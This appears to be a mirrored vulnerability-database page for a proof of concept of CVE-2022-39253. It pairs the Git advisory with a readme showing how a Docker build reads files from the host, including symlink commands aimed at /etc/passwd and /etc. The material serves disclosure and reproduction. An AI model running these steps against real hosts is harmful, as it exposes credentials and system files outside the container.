CVE-2022-39253 PoC — Git subject to exposure of sensitive information via local clone of symbolic links

Source

https://github.com/ssst0n3/docker-cve-2022-39253-poc

Associated Vulnerability

Title:Git subject to exposure of sensitive information via local clone of symbolic links (CVE-2022-39253)
Description:Git is an open source, scalable, distributed revision control system. Versions prior to 2.30.6, 2.31.5, 2.32.4, 2.33.5, 2.34.5, 2.35.5, 2.36.3, and 2.37.4 are subject to exposure of sensitive information to a malicious actor. When performing a local clone (where the source and target of the clone are on the same volume), Git copies the contents of the source's `$GIT_DIR/objects` directory into the destination by either creating hardlinks to the source contents, or copying them (if hardlinks are disabled via `--no-hardlinks`). A malicious actor could convince a victim to clone a repository with a symbolic link pointing at sensitive information on the victim's machine. This can be done either by having the victim clone a malicious repository on the same machine, or having them clone a malicious repository embedded as a bare repository via a submodule from any source, provided they clone with the `--recurse-submodules` option. Git does not create symbolic links in the `$GIT_DIR/objects` directory. The problem has been patched in the versions published on 2022-10-18, and backported to v2.30.x. Potential workarounds: Avoid cloning untrusted repositories using the `--local` optimization when on a shared machine, either by passing the `--no-local` option to `git clone` or cloning from a URL that uses the `file://` scheme. Alternatively, avoid cloning repositories from untrusted sources with `--recurse-submodules` or run `git config --global protocol.file.allow user`.

Readme

# docker host file read (using cve-2022-39253) poc

## PoC

<details>
 <summary> reproduce environment </summary>

```
$ docker run --name=cve-2022-39253 -ti -d ssst0n3/docker_archive:git_cve-2022-39253
$ docker attach --detach-keys ctrl-x cve-2022-39253
# (use ctrl-x to exit container's terminal)
# (wait minutes for environment starting ...)
...
Ubuntu 22.04 LTS ubuntu ttyS0

ubuntu login: root
Password: root

root@ubuntu:~# apt list --installed |grep "git/now"

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

git/now 1:2.34.1-1ubuntu1.2 amd64 [installed,upgradable to: 1:2.34.1-1ubuntu1.6]

root@ubuntu:~# docker --version
Docker version 20.10.19, build d85ef84
```

</details>
 
 
```
echo "*************escaped*************" > /tmp/escaped
docker build https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main
```

```
Sending build context to Docker daemon    234kB
Step 1/4 : FROM busybox
latest: Pulling from library/busybox
45a0cdc5c8d3: Pull complete 
Digest: sha256:3b3128d9df6bbbcc92e2358e596c9fbd722a437a62bafbc51607970e9e3b8869
Status: Downloaded newer image for busybox:latest
 ---> 334e4a014c81
Step 2/4 : COPY / /
 ---> 9f2e7d6efffd
Step 3/4 : RUN ls -lah /.git/modules/evil/objects/host
 ---> Running in e21e9a9c8294
-rw-r--r--    1 root     root           8 Dec 21 02:26 /.git/modules/evil/objects/host
Removing intermediate container e21e9a9c8294
 ---> c87453ca2a37
Step 4/4 : RUN cat /.git/modules/evil/objects/host
 ---> Running in a0463dca30b7
*************escaped*************
Removing intermediate container a0463dca30b7
 ---> 2330735e84e4
Successfully built 2330735e84e4
```

## How to read other file or directory

```
ln -s /etc/passwd evil2/git/objects/host
```

or 
```
ln -s /etc evil2/git/objects/host
```

You can even read the root directory `/`.

## Security Advisories

* https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25
* https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →